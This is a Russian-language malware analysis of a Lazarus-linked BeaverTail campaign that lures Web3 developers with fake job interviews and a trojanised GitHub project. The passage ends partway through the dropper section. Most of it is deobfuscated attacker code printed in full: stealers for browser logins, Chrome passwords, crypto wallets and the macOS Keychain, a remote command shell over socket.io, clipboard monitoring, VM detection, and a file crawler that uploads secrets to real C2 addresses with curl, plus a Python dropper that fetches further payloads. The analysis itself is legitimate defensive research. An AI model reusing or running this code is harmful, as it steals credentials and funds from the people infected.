О чем материал
Рассказываем о кампании, связанной с группировкой Lazarus и нацеленной на Web3-разработчиков — новой разновидности BeaverTail.
Одним воскресным вечером мне позвонил коллега: «Слушай, тут один подозрительный репозиторий есть. Хочешь глянуть?» Его смутила функция `eval()` в одной из строчек, которая исполняла колоссально обфусцированный код с внешней ссылки. Как любитель анализировать разные вредоносы, я сразу поднял свою лабу для анализа вирусов и приступил к расследованию...
Как злоумышленники выходят на жертву
Поставим себя на место жертвы. Ты — разработчик: ведешь профиль на LinkedIn, иногда пишешь что-то на GitHub. И вот однажды с тобой связывается незнакомый человек, представляется рекрутером небольшого стартапа и приглашает на интервью. Но для начала предлагает запустить и почитать код из проекта на GitHub.

Как уважающий себя разработчик, ты вписываешь `git clone`, клонируешь проект себе на машину и запускаешь. Тут и начинается самое интересное…
Ладно, хватит романтизировать вредоносы :)
Репозиторий на GitHub
На первый взгляд, это совершенно обычный репозиторий с проектом Node.js. Он даже немного продокументирован.
Содержимое README.md
```markdown
GoldenCity
**The real estate sector is changing rapidly as new technologies like cryptocurrencies and AR/VR are developed, it is important to understand how these technologies and existing real estate markets work. Developing a responsive real estate platform, a digital housing marketplace, using ReactJS.**
## What is GoldenCity?
**The proposed real estate platform - GoldenCity will serve as a digital marketplace where users can seamlessly browse, display, and purchase properties using advanced technologies such as Augmented Reality (AR) and Virtual Reality (VR), alongside Web3 capabilities. By integrating blockchain technology, the platform will ensure secure transactions and ownership verification. This innovative solution aims to revolutionize the real estate experience for buyers, sellers, and agents.**



## Run Locally
Install dependencies
```bash
npm install
node version 18
```
```
В файле `userController.js` можно заметить подозрительную строку кода (см. рис. 2).

Функция `eval()` запускает код из внешней ссылки. Переходим по ней — и видим обфусцированный JS-код (см. рис. 3). Классика!

Я деобфусцировал код с помощью webcrack и провел деманглирование всех объектов, чтобы сделать его еще более читаемым. Теперь можно приступать к анализу.
Stage 1. Основной JavaScript-файл
Главный JavaScript-файл нацелен на сбор данных из браузеров (Chrome, Firefox, Brave, Opera, Edge), кражу криптокошельков (Exodus, Solana), сбор учетных записей macOS Keychain, а также скачивание и запуск дополнительной полезной нагрузки.
Основной флоу:
- `getAbsolutePath(path)` — преобразует символ ~ в абсолютный путь.
- `testPath(filePath)` — проверяет, существует ли заданный файл.
- `uploadMozilla()`, `uploadExodus()`, `uploadLocalConfig()`, `uploadKeychain()` и `UpUserData()` — отвечают за сбор информации из разных источников.
- `Upload()` — отправляет собранные файлы на C2-сервер.
- `runP()` — скачивает и распаковывает дополнительный payload, а `Xt()` запускает его через Python.
- `main()` — запускает всю цепочку.
Сбор данных
uploadMozilla()
```jsx
const uploadMozilla = timeStamp => {
const mozillaProfiles = getAbsolutePath("~/") + "/AppData/Roaming/Mozilla/Firefox/Profiles";
let filesToUpload = [];
if (testPath(mozillaProfiles)) {
let mozillaProfileList = [];
try {
mozillaProfileList = fs.readdirSync(mozillaProfiles);
} catch (err) {
mozillaProfileList = [];
}
let profileCounter = 0;
mozillaProfileList.forEach(async profileName => {
let profilePath = path.join(mozillaProfiles, profileName);
if (profilePath.includes("-release")) {
let storagePath = path.join(profilePath, "/storage/default");
let storageDirs = [];
storageDirs = fs.readdirSync(storagePath);
let extensionCounter = 0;
storageDirs.forEach(async extDir => {
if (extDir.includes("moz-extension")) {
let idbPath = path.join(storagePath, extDir);
idbPath = path.join(idbPath, "idb");
let idbFiles = [];
idbFiles = fs.readdirSync(idbPath);
idbFiles.forEach(async fileName => {
if (fileName.includes(".files")) {
let filesDirPath = path.join(idbPath, fileName);
let fileList = [];
fileList = fs.readdirSync(filesDirPath);
fileList.forEach(subFileName => {
if (!fs.statSync(path.join(filesDirPath, subFileName)).isDirectory()) {
let fullSubFilePath = path.join(filesDirPath, subFileName);
const fileOptions = {
filename: profileCounter + "_" + extensionCounter + "_" + subFileName
};
filesToUpload.push({
value: fs.createReadStream(fullSubFilePath),
options: fileOptions
});
}
});
}
});
}
});
extensionCounter += 1;
}
profileCounter += 1;
});
Upload(filesToUpload, timeStamp);
return filesToUpload;
}
};
```
uploadExodus()
```jsx
const uploadExodus = timeStamp => {
let exodusPath = "";
let filesToUpload = [];
if (platform[0] == "w") {
exodusPath = getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet";
} else if (platform[0] == "d") {
exodusPath = getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet";
} else {
exodusPath = getAbsolutePath("~/") + "/.config/Exodus/exodus.wallet";
}
if (testPath(exodusPath)) {
let fileList = [];
try {
fileList = fs.readdirSync(exodusPath);
} catch (err) {
fileList = [];
}
let tempFileIndex = 0;
if (!testPath(getAbsolutePath("~/") + "/.n3")) {
fs_promises.mkdir(getAbsolutePath("~/") + "/.n3");
}
fileList.forEach(async fileName => {
let fullFilePath = path.join(exodusPath, fileName);
try {
fs_promises.copyFile(fullFilePath, getAbsolutePath("~/") + "/.n3/tp" + tempFileIndex);
const fileOptions = {
filename: "73_" + fileName
};
filesToUpload.push({
value: fs.createReadStream(getAbsolutePath("~/") + "/.n3/tp" + tempFileIndex),
options: fileOptions
});
tempFileIndex += 1;
} catch (err) {}
});
}
Upload(filesToUpload, timeStamp);
return filesToUpload;
};
```
uploadLocalConfig()
```jsx
const uploadLocalConfig = async (browserPaths, browserIndex, timeStamp) => {
try {
let basePath = "";
basePath = platform[0] == "d" ? getAbsolutePath("~/") + "/Library/Application Support/" + browserPaths[1] : platform[0] == "l" ? getAbsolutePath("~/") + "/.config/" + browserPaths[2] : getAbsolutePath("~/") + "/AppData/" + browserPaths[0] + "/User Data";
await uploadFiles(basePath, browserIndex + "_", browserIndex == 0, timeStamp);
} catch (err) {}
};
```
uploadKeychain()
```jsx
const uploadKeychain = async timeStamp => {
let filesToUpload = [];
let keychainPath = homeDir + "/Library/Keychains/login.keychain";
if (fs.existsSync(keychainPath)) {
try {
const keychainOptions = {
filename: "logkc-db"
};
filesToUpload.push({
value: fs.createReadStream(keychainPath),
options: keychainOptions
});
} catch (err) {}
} else {
keychainPath += "-db";
if (fs.existsSync(keychainPath)) {
try {
const keychainOptions = {
filename: "logkc-db"
};
filesToUpload.push({
value: fs.createReadStream(keychainPath),
options: keychainOptions
});
} catch (err) {}
}
}
try {
let googleChromeOSX = homeDir + "/Library/Application Support/Google/Chrome";
if (testPath(googleChromeOSX)) {
for (let i = 0; i < 200; i++) {
const profilePath = googleChromeOSX + "/" + (i === 0 ? "Default" : "Profile " + i) + "/Login Data";
try {
if (!testPath(profilePath)) {
continue;
}
const tempFilePath = googleChromeOSX + "/ld_" + i;
const fileOptions = {
filename: "pld_" + i
};
if (testPath(tempFilePath)) {
filesToUpload.push({
value: fs.createReadStream(tempFilePath),
options: fileOptions
});
} else {
fs.copyFile(profilePath, tempFilePath, error => {
const fileOptionsInner = {
filename: "pld_" + i
};
let fileList = [{
value: fs.createReadStream(profilePath),
options: fileOptionsInner
}];
Upload(fileList, timeStamp);
});
}
} catch (err) {}
}
}
} catch (err) {}
try {
let braveBrowserPath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser";
if (testPath(braveBrowserPath)) {
for (let i = 0; i < 200; i++) {
const profilePath = braveBrowserPath + "/" + (i === 0 ? "Default" : "Profile " + i);
try {
if (!testPath(profilePath)) {
continue;
}
const loginDataPath = profilePath + "/Login Data";
const fileOptions = {
filename: "brld_" + i
};
if (testPath(loginDataPath)) {
filesToUpload.push({
value: fs.createReadStream(loginDataPath),
options: fileOptions
});
} else {
fs.copyFile(profilePath, loginDataPath, error => {
const fileOptionsInner = {
filename: "brld_" + i
};
let fileList = [{
value: fs.createReadStream(profilePath),
options: fileOptionsInner
}];
Upload(fileList, timeStamp);
});
}
} catch (err) {}
}
}
} catch (err) {}
Upload(filesToUpload, timeStamp);
return filesToUpload;
};
```
UpUserData()
```jsx
const UpUserData = async (browserPaths, browserIndex, timeStamp) => {
let filesToUpload = [];
let basePath = "";
basePath = platform[0] == "d" ? getAbsolutePath("~/") + "/Library/Application Support/" + browserPaths[1] : platform[0] == "l" ? getAbsolutePath("~/") + "/.config/" + browserPaths[2] : getAbsolutePath("~/") + "/AppData/" + browserPaths[0] + "/User Data";
let localStatePath = basePath + "/Local State";
if (fs.existsSync(localStatePath)) {
try {
const fileOptions = {
filename: browserIndex + "_lst"
};
filesToUpload.push({
value: fs.createReadStream(localStatePath),
options: fileOptions
});
} catch (err) {}
}
try {
if (testPath(basePath)) {
for (let i = 0; i < 200; i++) {
const profilePath = basePath + "/" + (i === 0 ? "Default" : "Profile " + i);
try {
if (!testPath(profilePath)) {
continue;
}
const loginDataPath = profilePath + "/Login Data";
if (!testPath(loginDataPath)) {
continue;
}
const fileOptions = {
filename: browserIndex + "_" + i + "_uld"
};
filesToUpload.push({
value: fs.createReadStream(loginDataPath),
options: fileOptions
});
} catch (err) {}
}
}
} catch (err) {}
Upload(filesToUpload, timeStamp);
return filesToUpload;
};
```
Не буду сильно душнить на объяснении этих функций: они занимаются банальным сбором пользовательской информации, ориентируясь на проверки ОС. Отдельно стоит упомянуть:
- uploadMozilla() занимается анализом профиля браузера Firefox и извлекает оттуда сохраненные пароли и куки, которые затем подготавливаются для отправки на C2-сервер.
- uploadExodus() ищет директории и файлы, связанные с криптокошельком Exodus, извлекает информацию о кошельках и возможных приватных ключах.
- uploadLocalConfig() сканирует папки локальных конфигураций браузеров Chrome, Brave и Opera, забирает данные автозаполнения, истории входов и сессионные токены.
- uploadKeychain() предназначена для macOS: она захватывает содержимое связки ключей, где хранятся пароли приложений и системные учетные данные.
- UpUserData() ориентирован на захват данных профиля пользователя, включая настройки и зашифрованные данные браузеров.
Отправка собранной информации
Собранная инфрмация отправляется на C2-сервер.
Upload()
```jsx
const Upload = (filesList, timeStamp) => {
const formData = {
type: "99"
};
formData.hid = "73_" + hostname;
formData.uts = timeStamp;
formData.multi_file = filesList;
try {
if (filesList.length > 0) {
const requestOptions = {
url: "<http://107.189.16.122:1224/uploads>",
formData: formData
};
request.post(requestOptions, (error, response, body) => {});
}
} catch (error) {}
};
```
Скачивание и запуск полезной нагрузки
Отметим, что наш JS-файл не только занимается сбором и отправкой критической информации, но и подгружает дополнительный Python-файл.
```jsx
const runP = () => {
const pZi = tmpDir + "\\\\p.zi";
const p2zip = tmpDir + "\\\\p2.zip";
if (fileSize >= 51476596) {
return;
}
if (fs.existsSync(pZi)) {
try {
var fileStats = fs.statSync(pZi);
if (fileStats.size >= 51476596) {
fileSize = fileStats.size;
fs.rename(pZi, p2zip, err => {
if (err) {
throw err;
}
extractFile(p2zip);
});
} else {
if (fileSize < fileStats.size) {
fileSize = fileStats.size;
} else {
fs.rmSync(pZi);
fileSize = 0;
}
Ht();
}
} catch (err) {}
} else {
ex("curl -Lo \\"" + pZi + "\\" \\"<http://107.189.16.122:1224/pdown\\>"", (error, stdout, stderr) => {
if (error) {
fileSize = 0;
Ht();
return;
}
try {
fileSize = 51476596;
fs.renameSync(pZi, p2zip);
extractFile(p2zip);
} catch (err) {}
});
}
};
```
Функция `runP` отвечает за загрузку и проверку дополнительного вредоносного файла. Сначала она проверяет, существует ли локальный файл `p.zi` в папке с временными файлами. Если файл найден, его размер сверяется с ожидаемым: при совпадении файл переименовывается в `p2.zip` и распаковывается, в противном случае — удаляется. Если файла нет, скрипт скачивает его с управляющего сервера по указанному адресу. Таким образом, `runP` гарантирует, что на устройстве будет только целый и корректный файл для дальнейшего заражения.
Оператор `Ht()`, который вызывается в определенных строках функции `runP`, занимается повторным запуском этой функции.
```jsx
const Xt = async () => await new Promise((resolve, reject) => {
if (platform[0] == "w") {
if (fs.existsSync(homeDir + "\\\\.pyp\\\\python.exe")) {
(() => {
const npl = homeDir + "/.npl";
const execCommand = "\\"" + homeDir + "\\\\.pyp\\\\python.exe\\" \\"" + npl + "\\"";
try {
fs.rmSync(npl);
} catch (err) {}
request.get("<http://107.189.16.122:1224/client/99/73>", (err, response, data) => {
if (!err) {
try {
fs.writeFileSync(npl, data);
ex(execCommand, (error, stdout, stderr) => {});
} catch (err) {}
}
});
})();
} else {
runP();
}
} else {
(() => {
request.get("<http://107.189.16.122:1224/client/99/73>", (err, response, data) => {
if (!err) {
fs.writeFileSync(homeDir + "/.npl", data);
ex("python3 \\"" + homeDir + "/.npl\\"", (error, stdout, stderr) => {});
}
});
})();
}
});
```
Эта часть кода запускает только что скачанную полезную нагрузку.
- Windows: если файл ~/.pyp/python.exe существует, скрипт из /client/99/73 сохраняется как ~/.npl и запускается. В противном случае запускается `runP`.
- Linux и macOS: нагрузка запускается через скрипт через `python3`.
Большая красная кнопка
Здесь и начинается весь оркестр!
```jsx
const main = async () => {
try {
const currentTime = Math.round(new Date().getTime() / 1000);
await (async () => {
try {
await uploadLocalConfig(Q, 0, currentTime);
await uploadLocalConfig(R, 1, currentTime);
await uploadLocalConfig(X, 2, currentTime);
uploadMozilla(currentTime);
uploadExodus(currentTime);
if (platform[0] == "w") {
await uploadFiles(getAbsolutePath("~/") + "/AppData/Local/Microsoft/Edge/User Data", "3_", false, currentTime);
}
if (platform[0] == "d") {
await uploadKeychain(currentTime);
} else {
await UpUserData(Q, 0, currentTime);
await UpUserData(R, 1, currentTime);
await UpUserData(X, 2, currentTime);
}
} catch (err) {}
})();
Xt();
} catch (err) {}
};
main();
Xt();
let Ct = setInterval(() => {
if ((M += 1) < 2) {
main();
} else {
clearInterval(Ct);
}
}, 30000);
```
Перед нами функция, которая объединяет все вышеупомянутые процедуры:
- `main` получает временную метку, вызывает все функции сбора информации, затем запускает `Xt`.
- `Ct` дважды заставляет `main` запускаться через каждые 30 секунд.
Одна из ранних версий скрипта заканчивается на этом этапе. Однако 25 апреля 2025 г. я попробовал снова сделать запрос на сервер, где хранилась полезная нагрузка, и обнаружил, что скрипт был модифицирован.
Кража паролей из Chrome
```jsx
const os = require("os");
const fs = require("fs");
const path = require("path");
const axios = require("axios");
const http = require("http");
const {
execSync,
spawn
} = require("child_process");
process.on("uncaughtException", a => {});
process.on("unhandledRejection", a => {});
const m = "144.172.96.35";
const usu = "144.172.96.35";
const uid = "89f1c0a7d2b6e453a0e9f4d1c3b8a760";
const p = 4101;
const upt = 4106;
const ukey = 73;
const t = 1;
async function start() {
socketServer();
}
const socketServer = async () => {
const c = "const fs = require(\"fs\");\nconst path = require(\"path\");\nconst sqlite3 = require(\"sqlite3\").verbose();\nconst crypto = require(\"crypto\");\nconst axios = require(\"axios\");\nconst os = require(\"os\");\nconst { execSync } = require(\"child_process\");\n\nconst CHROME_PATH_LOCAL_STATE = path.join(\n os.homedir(),\n \"AppData\",\n \"Local\",\n \"Google\",\n \"Chrome\",\n \"User Data\",\n \"Local State\"\n);\nconst CHROME_PATH = path.join(\n os.homedir(),\n \"AppData\",\n \"Local\",\n \"Google\",\n \"Chrome\",\n \"User Data\"\n);\nasync function sleep(ms) {\n return new Promise((resolve) => setTimeout(resolve, ms));\n}\nfunction getSecretKey() {\n try {\n const localState = JSON.parse(\n fs.readFileSync(CHROME_PATH_LOCAL_STATE, \"utf-8\")\n );\n const encryptedKeyBase64 = localState.os_crypt.encrypted_key;\n const encryptedKey = Buffer.from(encryptedKeyBase64, \"base64\").slice(5);\n const decryptedKey = execSync(\n `powershell -Command \"Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String('${encryptedKey.toString(\n \"base64\"\n )}'), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)\"`, { windowsHide: true }\n ).toString(\"binary\");\n const decryptedArr = decryptedKey.split(\"\\r\\n\");\n const decryptedData = Buffer.from(\n decryptedArr.splice(0, decryptedArr.length - 1)\n );\n return decryptedData;\n } catch (error) {\n return null;\n }\n}\nfunction decryptPayload(cipher, payload) {\n return Buffer.concat([cipher.update(payload), cipher.final()]);\n}\nfunction generateCipher(aesKey, iv) {\n return crypto.createCipheriv(\"aes-256-gcm\", aesKey, iv);\n}\nfunction decryptPassword(ciphertext, secretKey) {\n try {\n const initializationVector = ciphertext.slice(3, 15);\n const encryptedPassword = ciphertext.slice(15, ciphertext.length - 16);\n const cipher = generateCipher(secretKey, initializationVector);\n\n const decryptedPass = decryptPayload(cipher, encryptedPassword);\n return decryptedPass.toString(\"utf8\");\n } catch (e) {\n return \"\";\n }\n}\nfunction getDbConnection(chromePathLoginDb) {\n try {\n fs.copyFileSync(chromePathLoginDb, os.homedir() + \"\\\\AppData\\\\Local\\\\1.db\");\n return new sqlite3.Database(os.homedir() + \"\\\\AppData\\\\Local\\\\1.db\");\n } catch (error) {\n return null;\n }\n}\n(async () => {\n try {\n const secretKey = getSecretKey();\n\n if (!secretKey) return;\n let passwords = [];\n const folders = fs\n .readdirSync(CHROME_PATH)\n .filter((folder) => /^Profile.*|^Default$/.test(folder));\n for (const folder of folders) {\n const chromePathLoginDb = path.join(CHROME_PATH, folder, \"Login Data\");\n const db = getDbConnection(chromePathLoginDb); if (db && secretKey) {\n db.serialize(() => {\n db.each(\n \"SELECT action_url, username_value, password_value FROM logins\",\n (err, row) => {\n if (err) {\n return;\n }\n const {\n action_url: url,\n username_value: username,\n password_value: ciphertext,\n } = row;\n if (url && ciphertext) {\n const decryptedPassword = decryptPassword(\n ciphertext,\n secretKey\n );\n passwords.push({\n username: username,\n password: decryptedPassword,\n url: url,\n folder: folder,\n });\n }\n }\n );\n }); db.close(); await sleep(300);\n fs.unlinkSync(os.homedir() + \"\\\\AppData\\\\Local\\\\1.db\");\n }\n }\n axios\n .get(\"http://" + m + "/api/service/getpwd\", { params: { info: passwords, uKey: \"" + ukey + "\", t:\"" + t + "\", host: os.hostname(), userInfo: os.userInfo() } })\n .then((r) => {}) \n .catch((e) => {\n });\n } catch (error) {}\n})();\n";
try {
const h = {
windowsHide: true,
detached: true
};
const i = spawn("node", ["-e", c], h);
} catch (j) {}
```
Этот код предназначен для кражи логинов и паролей из браузера Google Chrome на Windows. Скрипт извлекает зашифрованные данные из файла Login Data, расшифровывает их с помощью ключа из Local State и отправляет на C2-сервер через GET-запрос. Отмечу, что он полагается на Windows-специфичные пути и PowerShell, что делает его неработоспособным на Linux.
WebSocket и мониторинг буфера обмена
```jsx
const d = "\n const axios = require('axios');\n const os = require(\"os\");\n const fs = require(\"fs\"); const { execSync, exec } = require('child_process');\n const uid = '" + uid + "';\n const makeLog = async (message) => {\n try {\n axios\n .post('http://" + m + "/api/service/makelog', {\n message: message,\n host: os.hostname(),\n uid: uid, \n t: \"" + t + "\"\n })\n .catch((err) => {});\n } catch (e) {}\n };\n try {\n const setHeader = async function () {\n try{\n let isVM = false;\n if(os.platform() == \"win32\") {\n let output = execSync(\"wmic computersystem get model,manufacturer\", {windowsHide: true});\n output = output.toString().toLowerCase();\n if (\n output.indexOf(\"vmware\") > -1 ||\n output.includes(\"virtualbox\") ||\n output.includes(\"microsoft corporation\") ||\n output.includes(\"qemu\")\n ) {\n isVM = true;\n } \n }\n else if (os.platform() == \"darwin\") {\n let output = execSync(\"system_profiler SPHardwareDataType\", {windowsHide: true}) ;\n output = output.toString().toLowerCase();\n if (/vmware|virtualbox|qemu|parallels|virtual/i.test(output)) {\n isVM = true;\n }\n }\n else if (os.platform() == \"linux\") {\n let output = fs.readFileSync('/proc/cpuinfo', 'utf8').toLowerCase();\n if (\n /hypervisor|vmware|virtualbox|qemu|kvm|xen|parallels|bochs/.test(output)\n ) {\n isVM = true;\n } \n }\n return await axios.post('http://" + m + "/api/service/process/'+uid, {\n OS: os.type(),\n platform: os.platform(),\n release: os.release() + (isVM ? \" (VM)\":\"(Local)\"),\n host: os.hostname(),\n userInfo: os.userInfo(),\n uid: uid, \n t: \"" + t + "\"\n });\n }\n catch(e) {\n makeLog(e.message)\n }\n };\n setHeader();\n makeLog('Installing socket.io-client');\n execSync(\n 'npm install socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent',\n { windowsHide: true }\n );\n // } // client.js\n let io = require('socket.io-client'); // Execute the command using cmd.exe in hidden mode // Connect to the server\n // while (true) {\n const socketServer = () => {\n const socket = io('http://" + m + ":" + p + "', {\n reconnectionAttempts: 15,\n reconnectionDelay: 2000,\n timeout: 2000\n }); socket.on('command', (msg) => {\n try {\n exec(msg.message, { windowsHide: true, maxBuffer: 1024 * 1024 * 300 }, (error, stdout, stderr) => {\n if (error) {\n socket.emit('message', {\n result: error.message,\n msg,\n uid: uid,\n type: 'error', \n t: \"" + t + "\"\n });\n return;\n }\n if (stderr) {\n socket.emit('message', { result: stderr, msg, type: 'stderr' });\n return;\n }\n socket.emit('message', {\n ...msg,\n result: stdout,\n code: msg.code,\n cid: msg.cid,\n sid: msg.sid,\n uid: uid, \n t: \"" + t + "\"\n });\n });\n }\n catch(e) {\n makeLog(e.messge)\n }\n });\n socket.on('whour', (msg) => {\n socket.emit('whoIm', {\n OS: os.type(),\n platform: os.platform(),\n release: os.release(),\n host: os.hostname(),\n userInfo: os.userInfo(),\n uid: uid, \n t: \"" + t + "\"\n });\n }); socket.on('connect', () => {\n }); socket.on('disconnect', () => {});\n };\n socketServer();\n setTimeout(async () => {\n \n let lastClipboardContent = null;\n let timer; // Function to handle clipboard change\n function handleClipboardChange(content) {\n makeLog(content);\n } // Function to watch clipboard with debouncing\n async function watchClipboard() {\n \n if(os.platform() == \"darwin\") { exec(\"pbpaste\", {windowsHide: true, stdio: \"ignore\"}, (error, stdout, stderr) => {\n currentClipboardContent = stdout.trim();\n if (currentClipboardContent !== lastClipboardContent) {\n clearTimeout(timer); // Clear any existing timer\n timer = setTimeout(() => handleClipboardChange(currentClipboardContent), 500); // Debounce delay\n lastClipboardContent = currentClipboardContent;\n }\n },{ windowsHide: true })\n }\n else if(os.platform() == \"win32\"){\n exec(\"powershell Get-Clipboard\", {windowsHide: true, stdio: \"ignore\"}, (error, stdout, stderr) => {\n currentClipboardContent = stdout.trim();\n if (currentClipboardContent !== lastClipboardContent) {\n clearTimeout(timer); // Clear any existing timer\n timer = setTimeout(() => handleClipboardChange(currentClipboardContent), 500); // Debounce delay\n lastClipboardContent = currentClipboardContent;\n }\n },{ windowsHide: true })\n }\n } // Set an interval to check the clipboard\n setInterval(watchClipboard, 500);\n },3000)\n // }\n } catch (e) {\n makeLog(JSON.stringify(e));\n }\n";
try {
const k = spawn("node", ["-e", d], {
windowsHide: true,
detached: true,
stdio: "ignore"
});
} catch (l) {}
```
Этот фрагмент кода отвечает за установку WebSocket-соединения с C2-сервером для выполнения удаленных команд, за мониторинг буфера обмена и отправку информации о системе. Также здесь проверяется, работает ли скрипт на виртуальной машине и логируются ли события на C2. Добавлю, что функциональность мониторинга буфера обмена работает только на Windows.
Поиск и загрузка файлов
```jsx
const g = "\n const os = require(\"os\");\n const { execSync, exec } = require(\"child_process\");\n const rootDir = os.userInfo().homedir + \"\";\n const excludeFolders = [\n \"node_modules\",\n \"AppData\",\n \"vendors\",\n \"vendor\",\n \"public\",\n \"css\",\n \"less\",\n \"scss\",\n \".cache\",\n \".cursor\",\n \".vscode-server\",\n \".cargo\",\n \".local\",\n \".rustup\",\n \".pub-cache\",\n \".Trash\",\n \"anaconda3\",\n \".yarn\",\n \"build\",\n \".next\",\n \".git\",\n \".github\",\n \"cache\",\n \"tmp\",\n \"temp\",\n \"dist\",\n \"library\",\n \"lib\",\n \"imgs\",\n \"img\",\n \"images\",\n \"image\",\n \".config\",\n \".vscode\",\n \".pyp\",\n \".rustup\",\n \".docker\",\n \"manifest\",\n \".expo\",\n \"AppData\",\n \"windows.old\",\n \"pkg\",\n \"package\",\n \"packages\",\n \"openzeppelin\",\n \"prisma\",\n \"pkgs\",\n \"fonts\",\n \"background\",\n \"wallpaper\",\n \"_locales\",\n \"locale\",\n \"locales\",\n \"Program Files\",\n \"Program Files (x86)\",\n \"EFI\",\n \"ProgramData\",\n \"Windows\",\n \"Microsoft\",\n \"$RECYCLE.BIN\",\n \"Visual Studio Code.app\"\n ];\n const searchKey = [\n \"*.env*\",\n \"*metamask*\",\n \"*phantom*\",\n \"*bitcoin*\",\n \"*Trust*\",\n \"*phrase*\",\n \"*secret*\",\n \"*phase*\",\n \"*credential\",\n \"*profile*\",\n \"*account*\",\n \"*mnemonic*\",\n \"*seed*\",\n \"*recovery*\",\n \"*backup*\",\n \"*address*\",\n \"*keypair*\",\n \"*wallet*\",\n \"*my*\",\n \"*screenshot*\",\n \"*.doc\",\n \"*.docx\",\n \"*.pdf\",\n \"*.md\",\n \"*.rtf\",\n \"*.odt\",\n \"*.xls\",\n \"*.xlsx\",\n \"*.txt\",\n \"*.ini\",\n \".secret\",\n \"*.json\",\n \"*.ts\",\n \"*.js\",\n \"*.csv\",\n ];\n const scanDir = async (dirPath) => {\n let command = \"\";\n if (os.platform() == \"win32\") {\n try {\n let command = `dir \"${dirPath}\" /AD /b`;\n const cmdResult = execSync(command, { windowsHide: true });\n try{\n let uploadCommand = `for %f in (${dirPath}${searchKey.join(\n \" \" + dirPath + \"\"\n )}) do curl -X POST -F \"file=@%f\" -H \"path: %f\" -H \"hostname:%COMPUTERNAME%\" -H \"userkey:" + ukey + "\" -H \"t:" + t + "\" http://" + usu + ":" + upt + "/upload\n `;\n execSync(uploadCommand, { windowsHide: true }); } catch (e) {}\n const dirs = cmdResult.toString().split(\"\\r\\n\");\n for (let i in dirs) {\n const dir = dirs[i];\n if (dir == \"\") continue;\n if (excludeFolders.indexOf(dir) > -1) continue;\n await scanDir(dirPath + dir + \"\\\\\");\n }\n } catch (e) {}\n } else {\n command = `find \"${dirPath}\" -maxdepth 1 -type f \\\\( -path \"${excludeFolders.join(`\" -prune -o -path \"`)}\" \\\\) -o \\\\( -iname \"${searchKey.join(\n `\" -o -iname \"`)}\" \\\\) -exec grep -i -E -l '\\\\b(\\\\\")?(0x)?[0-9a-fA-F]{64}(\\\\\")?\\\\b|private_key|[5KL|0-9A-Za-z]{32,44}|5[HJK]{1}[1-9A-za-z]{50,51}' {} + | xargs -I {} curl -X POST -F 'file=@{}' -H 'path: {}' -H \"hostname:$(hostname)\" -H \"userkey:" + ukey + "\" -H \"t:" + t + "\" -H 'Content-Disposition: attachment; filename={}' http://" + usu + ":" + upt + "/upload \\\\;`;\n try {\n const cmdResult = execSync(command, { windowsHide: true });\n } catch (e) {} try {\n const dirCommand = `find \"${dirPath}\" -maxdepth 1 -type d`;\n let dirs = execSync(dirCommand, { windowsHide: true });\n dirs = dirs.toString().split(\"\\n\").slice(1); for (let i in dirs) {\n if (dirs[i] == rootDir + \"/Library\") continue;\n const dirInfo = dirs[i].split(\"/\");\n const dirName = dirInfo[dirInfo.length - 1];\n if (dirName == \"node_modules\") continue;\n if (dirs[i] == \"\") continue;\n if (dirName[0] == \".\") continue;\n scanDir(dirs[i]);\n }\n } catch (e) {}\n }\n }; setTimeout(async () => {\n if (os.platform() == \"win32\") {\n const driveCmd = `wmic logicaldisk get name`;\n let drives = execSync(driveCmd, { windowsHide: true });\n drives = drives.toString().split(\"\\n\");\n drives.shift(); for (let i in drives) {\n const drive = drives[i].replace(/\\r\\r/gi, \"\").trim();\n if (drive == \"\") continue;\n await scanDir(drive + \"\\\\\");\n }\n } else await scanDir(rootDir);\n }, 1000);\n";
try {
const o = spawn("node", ["-e", g], {
windowsHide: true,
detached: true,
stdio: "ignore"
});
} catch (q) {}
};
start();
```
Код отвечает за поиск конфиденциальных файлов (например, ключи криптокошельков, документы) в домашней директории (на Linux) или на всех дисках (на Windows). Для этого используются шаблоны (searchKey) и регулярные выражения для ключей. Найденные файлы загружаются на C2 через curl.
Итак, мы выяснили, что исследуемый код крадет у жертвы критическую информацию, а кроме того, скачивает и запускает скрипт на Python для развития атаки. Давайте проанализируем этот скрипт.
Stage 2. Python-дроппер
Python-скрипт работает как дроппер: проверяет ОС жертвы и устанавливает полезную нагрузку для следующего этапа. Он обфусцирован с помощью base64 и компрессии zlib, поэтому деобфускация заняла всего пару секунд.
Основной флоу:
Импорт `requests` — если это невозможно, запускается установка через pip.
- `download_payload()` — скачивает первую полезную нагрузку (`~/.n2/pay`). Если загрузка успешна, полезная нагрузка запускается.
- `download_browse()` — скачивает вторую полезную нагрузку. Если загрузка успешна, полезная нагрузка запускается.
```python
import base64,platform,os,subprocess,sys
try:import requests
except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests
master = "go to hell asjdhfjahskdfhadsfjhiqjhfad"
sType = "99"
gType = "73"
ot = platform.system()
home = os.path.expanduser("~")
host1 = "107.189.16.122"
host2 = f'http://{host1}:1224'
pd = os.path.join(home, ".n2")
ap = pd + "/pay"
```
Здесь инициализируются переменные, которые в дальнейшем будут использоваться в коде. А значение переменной `master`, похоже, адресовано нам… ;)
Скачивание и запуск полезной нагрузки
```python
def download_payload():
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return True
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass
try:
if ot=="Darwin":
# aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
else:
aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
return True
except Exception as e:return False
res=download_payload()
```
Функция загружает полезную нагрузку — отправляет запрос на C2-сервер и создает URL (http://C2_IP:1224/payload/99/73) посредством конкатенации строк. Почему-то скрипт проверяет, является ли платформа жертвы macOS, хотя в обоих случаях один и тот же файл записывается в ~/.n2/pay/73. Учитывая комментарий в коде, я думаю, что изначально атакующие хотели сделать отдельную полезную нагрузку под macOS, но на момент написания статьи сервер уже не работал, поэтому я не смог это проверить.
```python
if res:
